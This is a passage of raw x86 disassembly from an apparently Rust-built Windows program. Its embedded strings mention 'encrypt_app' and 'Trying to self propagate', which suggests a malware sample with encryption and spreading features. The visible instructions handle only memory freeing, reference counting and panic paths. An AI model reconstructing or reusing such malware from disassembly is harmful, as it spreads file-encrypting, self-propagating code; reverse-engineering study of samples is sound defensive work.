mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [ebp - 0x84]
mov dword [ebp - 0x84], 3
mov dword [ebp - 0x80], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [ebp - 0x7c], 0x14
mov dword [ebp - 0x78], 0x61fa24
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x68], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x58], 0x14
mov dword [ebp - 0x5c], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x4c], 0x1e
mov dword [ebp - 0x50], 0x61f924
mov dword [ebp - 0x48], 1
mov dword [ebp - 0x44], 0x101
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
lea ecx, [ebp - 0xa0]
call fcn.00516610
mov eax, dword [ebp - 0x98]
test eax, eax
je 0x49cf3f
mov esi, dword [ebp - 0xa0]
shl eax, 2
lea edi, [eax + eax*2]
add esi, 4
jmp 0x49cf28
add esi, 0xc
add edi, 0xfffffff4
je 0x49cf3f
cmp dword [esi], 0
je 0x49cf20
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x49cf20
mov eax, dword [ebp - 0x9c]
test eax, eax
je 0x49cf66
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x49cf66
push dword [ebp - 0xa0]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov ecx, dword [ebp - 0xc8]
lock dec dword [ecx + 8]
lock dec dword [ecx]
je 0x49d021
mov eax, dword [ebp - 0xc4]
lock dec dword [eax]
je 0x49d035
mov eax, dword [ebp - 0xc0]
lock dec dword [eax]
jne 0x49cf9e
mov ecx, dword [ebp - 0xc0]
call fcn.00402a90
lea ecx, [ebp - 0xbc]
call fcn.00478c20
mov eax, dword [ebp - 0xac]
test eax, eax
je 0x49cfef
mov esi, dword [ebp - 0xb4]
shl eax, 2
lea edi, [eax + eax*2]
add esi, 4
jmp 0x49cfd8
add esi, 0xc
add edi, 0xfffffff4
je 0x49cfef
cmp dword [esi], 0
je 0x49cfd0
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x49cfd0
mov eax, dword [ebp - 0xb0]
test eax, eax
je 0x49d016
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x49d016
push dword [ebp - 0xb4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
add esp, 0xc8
pop esi
pop edi
pop ebx
pop ebp
ret
call fcn.00402a90
mov eax, dword [ebp - 0xc4]
lock dec dword [eax]
jne 0x49cf88
mov ecx, dword [ebp - 0xc4]
call fcn.00402a90
mov eax, dword [ebp - 0xc0]
lock dec dword [eax]
je 0x49cf93
jmp 0x49cf9e
mov ecx, ebx
mov edx, 0x20a
push 0x621294
call fcn.0045a820
add esp, 4
ud2
mov ecx, ebx
mov edx, eax
push 0x62131c
call fcn.0045ce70
add esp, 4
ud2
mov ecx, eax
mov edx, 0x20a
push 0x62131c
call fcn.0045ab50
add esp, 4
ud2
call fcn.0040a620
ud2
mov ecx, 0x20a
jmp 0x49d0ab
mov ecx, ebx
jmp 0x49d0ab
mov ecx, edi
jmp 0x49d0ab
mov ecx, esi
mov edx, 1
call fcn.0040a640
ud2
mov ecx, 4
mov edx, 4
call fcn.0040a640
ud2
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x5a
call fcn.004d8e00
test al, al
je 0x49d0ef
mov edi, dword [ebp - 0x20]
mov al, 1
mov dword [ebp - 0x10], eax
cmp edi, 0x110000
jne 0x49c1a5
mov eax, dword [0x6d6b64]
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x94], eax
mov eax, dword [0x6f1130]
test eax, eax
jne 0x49c2d7
jmp 0x49c2c5